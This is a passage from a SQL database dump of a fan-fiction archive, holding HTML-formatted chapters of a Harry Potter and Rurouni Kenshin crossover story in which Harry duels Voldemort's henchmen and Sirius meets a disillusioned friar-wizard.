Snape.&nbsp; &#8220;Potter has grown far more powerful than the\nPotter the Dark Lord last encountered.&nbsp;\nTherefore, the Dark Lord is analyzing Potter in battle: memorizing his\nhabits, noting potential weaknesses.&nbsp;\nPotter is fully aware of the fact that the Dark Lord is keeping an eye\non him.&nbsp; That&#8217;s why he&#8217;s battling\nwithout using any of his true magical abilities.&nbsp; Doesn&#8217;t want to give them away.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hmm,&#8221; said Seth.&nbsp;\n&#8220;But such a tactic would clearly give Mr. Potter the disadvantage.&nbsp; In a match of stamina, he&#8217;d stand no chance\nagainst a half-giant like Mr. Century.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Or so you&#8217;d think,&#8221; said Snape rather mysteriously.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Meanwhile, Century had completely lost his cool.&nbsp; &#8220;Why can&#8217;t I hit you?&nbsp; Curses!&nbsp;\nYou should be dead now!&#8221;&nbsp; With a\ncry of rage, Century made another leap at Harry.&nbsp; The next moment, there was a sickening crack, and Century was\nrolling around on the ground clutching his left leg and howling in pain.&nbsp; &#8220;My leg!&#8221; he screamed.&nbsp; &#8220;It&#8217;s broken!&nbsp; How did you break my leg?!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Quite simple,&#8221; said Harry.&nbsp;\n&#8220;You moved your leg muscles around too much, over exerted yourself.&nbsp; In a sense, you could say that I wore your\nleg down.&#8221;&nbsp; Silently, Harry thanked\nMadam Pomfrey for the lectures on Human Anatomy she often gave him whenever he\nwas treated for a quidditch injury.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;But, that&#8217;s not possible,&#8221; cried Century between grimaces\nof pain.&nbsp; &#8220;I have far more stamina than\nyou!&nbsp; If anything, you should be the\nfirst one worn down!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You blind fool,&#8221; said Snape.&nbsp; &#8220;It may have seemed like Potter was simply dodging your axes all\nthis time but that&#8217;s not true.&nbsp; The\ntruth is all this time Potter was slowly increasing his speed and dragging you\ninto it!&nbsp; While Potter was keeping his\nmovements at a minimum, you were going all out attacking him with full power,\ngiving your leg muscles more and more strain!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Century starred at Snape a look of shock and disbelief on\nhis face.&nbsp; He turned toward Voldemort\nand whimpered, &#8220;M-Master...&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Century,&#8221; said Voldemort rather icily.&nbsp; &#8220;If you don&#8217;t drag out at least one spell\nfrom Potter, consider yourself dead right here, right now!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Panic completely overwhelmed Century as he fought back the\npain and made one last desperate lunge at Harry.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;OK,&#8221; said Ginny.&nbsp; &#8220;I\nthink this is the door to the throne room.&nbsp;\nIf this Century blokes anywhere he should be here.&#8221;&nbsp; While sneaking into the castle, Ginny had\ntried to get passed the Death Eaters guarding the doors by attempting to seduce\nthem.&nbsp; When the Death Eaters clearly\nmade it known that they were disinterested, Ginny had lost her temper and\nstunned them with a few good <i>&#8220;Stupefies!&#8221;</i>&nbsp; Sean was still chuckling as Ginny pushed the doors open.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Suddenly, there was a cry of <i>&#8220;Expelliarmus!&#8221;</i> and a\nflash of red light.&nbsp; A split second\nlater, a shocked Ginny and Sean saw the hulking form of Century crash into the\nfar wall, the two axes flying out of his hands.&nbsp; Opposite from Century&#8217;s form stood Harry Potter, his wand still\nsmoking from the disarmer.&nbsp; &#8220;Fool.&nbsp; Saved his life,&#8221; muttered Snape.&nbsp; The next moment Ginny was startled by a slow\napplause from the far end of the chamber.&nbsp;\nShe looked up and gasped when she saw Voldemort rise from his throne.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;A most impressive display, Harry.&nbsp; I see that you&#8217;ve grown very powerful these past few years,&#8221; said\nthe Dark Lord.&nbsp; He looked toward the\ndoor and appeared to be mildly surprised to see Ginny there.&nbsp; &#8220;Why little Ginny Weasley?&nbsp; All grown up I see.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny gulped and said, &#8220;Tom.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Who is she?&#8221; asked Yasmin, eyeing Ginny.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;An old pen pal of sorts,&#8221; said Voldemort.&nbsp; &#8220;You do remember my diary, don&#8217;t you\nYasmine?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ah, yes,&#8221; said the woman with a knowing nod.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Enough chitchat,&#8221; said Harry.&nbsp; &#8220;Now, Voldemort.&nbsp; Lets\nfinish this once and for all.&nbsp; Just the\ntwo of us.&nbsp; You and me.&nbsp; This madness is going to end here once and\nfor all.&#8221;&nbsp; He pointed his wand at the\nDark Lord.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Voldemort seemed to be thinking as he pulled a wand out of\nhis robes.&nbsp; However, with a malicious\ngrin, he said, &#8220;No,&#8221; and tossed the wand at Seth, who caught it with a simple\nup turn of his hand.&nbsp; &#8220;Seth, take care\nof Potter.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Me, Mr. Voldemort?&#8221; said Seth.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re running from me?&#8221; demanded an incredulous\nHarry.&nbsp; Voldemort pulled said an\nincantation and a flying, Persian carpet floated up from behind him and Yasmin.&nbsp; He escorted Yasmine onto the carpet and\nstepped onto it himself.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Believe it or not Potter, I&#8217;m not in the mood to duel you\nright now.&nbsp; I leave all of my dirty work\nto Seth the Naturale.&nbsp; And besides, if\nyou can&#8217;t beat him, there is no way you can stand up against me.&#8221;&nbsp; With that, the carpet flew out of one of the\nwindows.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well then, shall we start?&#8221; said Seth, as he stepped in\nfront of Harry. Harry sighed and faced Seth for a long moment they simply\nstarred at each other, neither one moving an inch.&nbsp; Ginny dared to glance at Harry&#8217;s face and gasped when she saw\napprehension there.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What&#8217;s Harry waiting for?&#8221; she said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Are you positive that Potter will not defeat Seth?&#8221; asked\nYasmin while on the carpet.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Positive,&#8221; said Voldemort.&nbsp;\n&#8220;There is a good reason why Seth is called the Naturale.&nbsp; For reasons dealing with his past, Seth\nmasks all of his emotions.&nbsp; I&#8217;m sure\nyou&#8217;ve noticed that, even in his smile.&nbsp;\nIt is his greatest weapon in a duel, and what makes him my most valued\nassassin.&nbsp; Seth will take any order with\nout question since he doesn&#8217;t feel any remorse against not doing so.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;He can&#8217;t read his emotions,&#8221; said Snape.&nbsp; &#8220;In a duel, one must constantly be on the\nlookout for even the smallest flinch to indicate where and how the opponent is\ngoing to attack.&nbsp; However, this Seth\nfellow isn&#8217;t allowing a single emotion to register on his face.&nbsp; Potter has absolutely no idea where he&#8217;s\ngoing to hit.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What&#8217;s Harry going to do?&#8221; said Ginny with an audible.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">As if in answer, Harry lowered himself into an attack ready\nposition.&nbsp; Ginny was confused.&nbsp; &#8220;Wha...&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Very clever,&#8221; said Snape.&nbsp;\n&#8220;Since Potter can&#8217;t anticipate any of Soran&#8217;s attacks, he&#8217;s going to\nmake the first attack.&nbsp; A clever tactic\nthough flawed I must point out since he has no idea how Soran fights.&nbsp; Of course, he has no choice.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh, are you attacking?&#8221; said Seth.&nbsp; &#8220;Well then I might as well get myself\nready.&#8221;&nbsp; Seth also readied himself into\nan attacking posture.&nbsp; For a full minute\nthey just stood there.&nbsp; Finally, they\nstruck.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;While Seth lacks any emotion or ethics, Potter is\ncompletely dominated by his ethics,&#8221; said Voldemort.&nbsp; &#8220;Potter will never take another life if he could help it.&nbsp; More than anything, so long as Potter holds\nonto that weakness, he will never be able to defeat Seth the Naturale.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">When the lights had cleared, the results of the duel were\nquite shocking.&nbsp; In Harry&#8217;s hand were\nthe splintered remains of the bottom half of his wand.&nbsp; Bits of Phoenix feather were poking out of\nthe splintered half.&nbsp; At his feet lay\nthe rest of the wand, in pieces.&nbsp; Nobody\nwas more shocked than Harry.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, there&#8217;s the outcome,&#8221; said Seth.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Indeed,&#8221; said Snape.&nbsp;\n&#8220;It&#8217;s a tie.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221; said Seth clearly confused.&nbsp; He looked down at his wand and realized for\nthe first time that it was splintered, though not in pieces like Harry&#8217;s was.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well what do you know?&nbsp;\nI guess it really was a tie,&#8221; said Seth.&nbsp; &#8220;Well, I suppose I should go now that the duel has ended.&#8221;&nbsp; He picked up a broomstick and flew away.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny walked up to Harry and starred at him.&nbsp; He seemed to be a little dazed.&nbsp; &#8220;Hey, you OK?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Huh?&#8221; said Harry snapping out of his daze.&nbsp; &#8220;Oh, yeah, of course.&nbsp; I&#8217;m just glad everyone&#8217;s not hurt.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m sorry about your wand,&#8221; said Ginny looking\nsorrowful.&nbsp; &#8220;I know that wand has\npractically been your partner since you were eleven.&nbsp; I&#8217;m so sorry to see it go like this.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s OK,&#8221; said Harry brushing it off.&nbsp; &#8220;I can always get a new wand when I get to\nLondon.&nbsp; I mean, it&#8217;s not that I&#8217;m not\nsad over the wand but...Sean!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Sean had picked up one of the axes (though it seemed a\nlittle too heavy for him), and was about to decapitate the unconscious\nCentury.&nbsp; Before he could do so however,\nSnape yanked the heavy axe out of his hands.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh no you don&#8217;t,&#8221; he said.&nbsp;\n&#8220;You can&#8217;t go killing convicts like that.&nbsp; Even the scum of the earth like this poor man deserve a decent\ntrial.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Let me kill him!&#8221; Sean screamed.&nbsp; &#8220;Let me kill him!&nbsp; He\nkilled my parents!&nbsp; He killed my brother!&nbsp; He deserves to die!&nbsp; Let me kill him!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">While Sean was screaming, Harry stepped in front of him and\nasked, &#8220;Do you think your brother would be pleased if you killed him?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221; asked Sean, instantly snapping out of his rage.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t think Zack would want you to become a killer,&#8221; said\nHarry with a kindly smile.&nbsp; &#8220;What I\nthink he&#8217;d want for his little brother would be to go on with his life.&nbsp; Not end it prematurely to become like those\nwho killed him.&nbsp; No Sean, Zack wouldn&#8217;t\nwant that.&nbsp; So, I&#8217;m asking, no begging\nyou Sean: please just let it go.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">For a split second Sean just starred at Harry.&nbsp; Finally, He burst into tears and buried his\nhead in Harry&#8217;s chest as Harry wrapped his arms around the small boy.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m sorry about your wand,&#8221; said Seth as he handed\nVoldemort the splintered wand.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No matter, it&#8217;s only a spare,&#8221; said the Dark Lord as he\nexamined the wand.&nbsp; &#8220;Personally I&#8217;m\nsurprised at the amount of damage inflicted on this wand.&nbsp; Potter&#8217;s grown even more powerful than I\noriginally imagined.&#8221;&nbsp; He tucked the\nwand back into his wands.&nbsp; &#8220;We must not\nunderestimate Potter again.&nbsp; Seth, go\nalert the rest of the Elite Ten.&nbsp; Tell\nthem to gather in London.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes sir,&#8221; said Seth.&nbsp;\nA second later, he disapparrated.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;The Elite Ten?&#8221; said Yasmin raising an eyebrow.&nbsp; &#8220;You&#8217;re starting take things seriously\naren&#8217;t you?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Voldemort grinned and said, &#8220;My dear, in all the years you\nhave known me when have I not taken things seriously?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The liberation of Graypine was truly an affair to see.&nbsp; The villagers, whom only the day before had\nbeen too fearful to stand up to Century, were now jeering at him as the\nauthorities led him away.&nbsp; Harry, Ginny,\nSean, and Snape were on a hill nearby where they could see the whole thing.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;They&#8217;re like rats,&#8221; exclaimed Ginny, clearly\ndisgusted.&nbsp; &#8220;Just yesterday they were\ncowards hiding from that guy and now that he&#8217;s defeated, they jeer him away.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, that&#8217;s my village,&#8221; said Sean.&nbsp; &#8220;Sure it&#8217;s not the best place in the world,\nbut I still hope they&#8217;ll have a better time from now on.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m sure they will,&#8221; said Harry.&nbsp; &#8220;So, Sean what are you going to do from now on?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m not sure.&nbsp; I\ndon&#8217;t have any other relatives.&nbsp; And\nit&#8217;s going to be too painful living in Graypine.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Snape walked up to him and said, &#8220;You&#8217;re starting at\nHogwarts in September, right?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s right.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well in that case you can stay with Tamara until then.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Who&#8217;s Tamara?&#8221; asked Harry and Ginny at the same time.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Tamara, my wife,&#8221; said Snape as if it were the most obvious\nthing in the world. &nbsp;Harry and Ginny\nwere utterly speechless: their jaws had completely dropped.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re...you&#8217;re married?&#8221; Harry finally spluttered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hoo boy to be married to him.&nbsp; Mrs. Snape must be a lot like Mother Teresa to even be able to\ntolerate him,&#8221; muttered Ginny.&nbsp; Snape\nchose to ignore her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I figured he&#8217;d be a good babysitter for my four year old\nson, Anthony,&#8221; Snape muttered.&nbsp; &#8220;But\nthat doesn&#8217;t matter Potter.&nbsp; What\nmatters is that you had better had learned a valuable lesson from what happened\nhere.&nbsp; If you don&#8217;t let go of your oh so\nprecious ethics, you cannot defeat the Dark Lord.&#8221;&nbsp; Harry said nothing.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Good byes were said and Snape led Sean away.&nbsp; Ginny noticed that Harry seemed to be\ncontemplating Snape&#8217;s words.&nbsp; &#8220;You&#8217;re\nnot thinking too much are you?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Of course not,&#8221; said Harry.&nbsp; &#8220;He grinned at her and said, &#8220;Come on, let&#8217;s get to London as\nfast as we can.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b>To be continued...</b></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/N Well, a lot of action I hope.&nbsp; Did you enjoy this chapter?&nbsp;\nBecause there&#8217;s going to be even more action in later chapters.&nbsp; R/R.&nbsp;\nNext: Sirius meets someone on his travels and accepts a new challenge.</p>\n\n\n\n\n\n\n');
INSERT INTO `chapter_text` (`story_id`, `chapter_number`, `chapter_text`) VALUES
	(33, 5, '\n\n\n\n\n\n\n\n<p><b>Title:</b> Different Paths (05)<br>\n<b>Author name:</b> E.\nC. R. Potter<br>\n<b>Author email:</b> ecrpotter@hotmail.com<br>\n<b>Category:</b> Action/Adventure<br>\n<b>Sub Category:</b> Drama<br>\n<b>Keywords:</b> Harry Voldemort Different Paths<br>\n<b>Rating:</b> PG-13<br>\n<b>Spoilers:</b> SS/PS, CoS, PoA, GoF, FB, QTTA, Ruroni Kenshin: Kyoto story\narc.<br>\n<b>Summary:</b> Tom Marvolo Riddle, Harry James Potter. Two wizards, with\nincredibly similar beginnings, who journeyed on different paths. Such different\npaths that inevitably, they could only lead to a collision course. And collide,\nthey do.<br>\n<b>DISCLAIMER:</b> This story is based on characters and situations created and\nowned by JK Rowling, various publishers including but not limited to Bloomsbury\nBooks, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is\nbeing made and no copyright or trademark infringement is intended. It is also\nbased on a plot line based on a story owned by Nobuhiro Wazuki, Jump Comics\nInc., Fuji Television, and other publishers. No money is being made and no\ncopyright or trademark infringement is intended from them either.<br>\n<b>Author notes:</b> Here it is chapter 5.&nbsp;\nI&#8217;m hoping to upload this chapter a lot faster than I&#8217;ve uploaded\nearlier chapters.&nbsp; I&#8217;m sure hoping\npeople will enjoy this chapter since there are a number of elements in it that\nwill turn up again in later chapters.&nbsp;\nSo, please just enjoy.</p>\n\n<p>&nbsp;</p>\n\n<p><b>Chapter 5: A Sirius Challenge</b></p>\n\n<p>&nbsp;</p>\n\n<p>Sirius Black was not a happy\nwizard.&nbsp; He had been on the run for\nyears, a fugitive from the law so he was used to not having a roof over his\nhead.&nbsp; He was used to wandering around\nthe country getting to places far and exotic where no Ministry agent would\ndream of chasing him.&nbsp; He was used to avoiding\nlaw enforcers, usually with the aid of his ability to transform into a large\nblack dog.&nbsp; But if there was one thing\nSirius Black was not used to, it was being lost.</p>\n\n<p>&nbsp;</p>\n\n<p>When he left Hogsmeade chasing\nafter Harry, Sirius had thought he was heading south toward London.&nbsp; However, when he arrived at Loch Ness a few\ndays later, Sirius realized that he had taken a wrong turn somewhere on the\nway, most likely while he was confused in his anger.&nbsp; Unfortunately, he had no idea where he had made his wrong turn and\nafter a close encounter with a few Ministry Hit men, Sirius had completely lost\nhis bearings.&nbsp; He had started heading\nSouth once more, but since he had no idea where he was at present, he had no\nidea if he was getting closer or farther from London.</p>\n\n<p>&nbsp;</p>\n\n<p>At present, Sirius was resting\nin a deep forest.&nbsp; It was a rather nice\nplace with a stream nearby meaning that he could catch fish if wished to.&nbsp; However, he had a rather difficult time\nstarting campfires the muggle way.&nbsp;\nAlthough Sirius had a wand, he was avoiding using it so as not to\nattract Ministry attention.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Bloody typical I get lost in\nsome forest,&#8221; Sirius muttered as he took a bite into his roasted fish.&nbsp; &#8220;Who knows if I&#8217;ll ever make it to London on\ntime.&nbsp; It&#8217;d be pointless if I showed up\nat London only to find out that Harry had been killed by Voldemort because I\nwasn&#8217;t there to help him.&nbsp; On the other\nhand, it&#8217;d probably awkward if I showed up and he had already defeated\nVoldemort: &#8216;Thank You Sirius, but I really didn&#8217;t need your help&#8217;.&#8221;&nbsp; Sirius realized that he was talking to\nhimself and immediately shut up.&nbsp; He\nhoped that his tenure in Azkaban hadn&#8217;t finally caught up with him.</p>\n\n<p>&nbsp;</p>\n\n<p><i>&#8216;What I need,&#8217;</i> thought Sirius, <i>&#8216;is a way to be\nreally useful to Harry.&nbsp; Acquire some\nkind of new attack or weapon that would increase are chances against\nVoldemort.&nbsp; Someway I could help.&nbsp; Once I get London, maybe I should check out\na few books at Flourish and Blotts; they might have some book on a newly\ndeveloped Dark Arts Defense Tactic or something.&nbsp; Then again, maybe I could polish my magical skills while I&#8217;m\ntraveling somehow...&#8217;</i></p>\n\n<p>&nbsp;</p>\n\n<p><i>BOOM!</i></p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What the...&#8221; Sirius sprang to\nhis feet and listened closely.&nbsp; When he\nheard nothing he sighed and thought, <i>&#8216;Maybe I am losing my mind.&#8217;</i></p>\n\n<p>&nbsp;</p>\n\n<p><i>BOOM!</i></p>\n\n<p>&nbsp;</p>\n\n<p>Sirius froze again.&nbsp; No, he wasn&#8217;t losing his mind, there was a\nboom coming from somewhere nearby.&nbsp;\nSirius listened closer.</p>\n\n<p>&nbsp;</p>\n\n<p><i>BOOM!</i></p>\n\n<p>&nbsp;</p>\n\n<p>Yes!&nbsp; No denying it.&nbsp; The\nbooming sound was coming from a thicket about 50 yards away.&nbsp; Sirius swore that he also felt the ground\nvibrate every time there was a boom.</p>\n\n<p>&nbsp;</p>\n\n<p><i>BOOM!</i></p>\n\n<p>&nbsp;</p>\n\n<p>There definitely was a\nvibration.&nbsp; Sirius started to make his\nway over to the thicket and peered into it.</p>\n\n<p>&nbsp;</p>\n\n<p><i>BOOM!</i></p>\n\n<p>&nbsp;</p>\n\n<p>Sitting in the thicket, starring\naway from Sirius was a man in his late forties.&nbsp; The first thing Sirius observed was that this man was dressed as\na Catholic monk: a friar to be more specific.&nbsp;\nBut the only thing monk like about him was his clothes.&nbsp; The friar was huge, taller than Sirius at 6&#8217;\n5&#8221; and was rippling with muscle.&nbsp; In\nfact, his build reminded Sirius of those supposed Muggle sportsmen called\nPro-Wrestlers.</p>\n\n<p>&nbsp;</p>\n\n<p>Sirius tried to look around the\nFriar and saw the source of the booming.&nbsp;\nThe Friar was carrying a wand, and he was hitting the ground with the\nwand&#8217;s tip.&nbsp; Every time the wand hit the\nground, it generated a magical pulse that vibrated through the ground causing\nthe booming sound.&nbsp; The vibrations were\nshaking some of the small rocks surrounding the monk.&nbsp; Finally, with a last hit to the ground, the rocks shattered.&nbsp; Sirius was surprised to say the least.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Wow!&#8221; he muttered.&nbsp; The Friar heard Sirius and turned to face\nhim.&nbsp; He was completely bald, had a\nthickset chin, and hollow brown eyes.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Who may you be stranger and\nwhat are you doing on this sacred ground?&#8221; he asked.&nbsp; He spoke with a distinct Irish accent.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Me?&nbsp; I&#8217;m just a fellow wizard like yourself brother friar,&#8221; replied\nSirius.&nbsp; &#8220;I mean you no harm.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;A wizard are you?&#8221; said the\nFriar.&nbsp; &#8220;Then you will have to prove it\nto me or else I will be forced to remove your memory.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Easy said and done,&#8221; said\nSirius.&nbsp; He transformed into a dog, made\na few barks, and transformed back.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;An animagus,&#8221; said the Friar\nclearly impressed.&nbsp; &#8220;Those kinds of\nwizards are so rare.&nbsp; Come my friend,\nyou must join me for dinner.&#8221;&nbsp; He pulled\nout a full meal of roast mutton, corn, and wine. &nbsp;Sirius, for whom one fish was not enough was more than happy to\njoin.&nbsp; After a hearty meal, Sirius\nbrought up the subject of the strange magical pulse the Friar was using.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;So tell me, what was the trick\nyou were doing.&nbsp; Some kind of divine\npower granted to only those in the clergy.&#8221;&nbsp;\nHe chuckled but the Friar did not appear to be amused.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I have no divine power,&#8221; said\nthe Friar rather bitterly.&nbsp; &#8220;What is the\npoint of divine power?&nbsp; When has God\never come forward and stick up for the oppressed?&nbsp; When has he come in his glory to save those who need him?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Sirius didn&#8217;t know what to think\nabout the Friar&#8217;s bitter tone.&nbsp; &#8220;You\nsound like someone who&#8217;s lost his faith,&#8221; he observed.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;That I have,&#8221; answered the\nFriar.&nbsp; &#8220;That &#8216;trick&#8217; as you call it\nthat you&#8217;ve seen, it is called the &#8216;Double-Neutral Spell&#8217; a technique I\ndeveloped myself after I have lost my faith as you call it.&nbsp; It is a power I have developed on my own,\nnot from a divine source.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well, if that&#8217;s the case, you\nwouldn&#8217;t mind teaching it to me do you?&#8221; said Sirius with a hopeful smile.&nbsp; &#8220;I could really use a spell like that in the\nnear future.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>For a moment, the Friar starred\nat Sirius as if considering his request.&nbsp;\nFinally, he said, &#8220;Tell me, what is your opinion about the British\nMinistry of 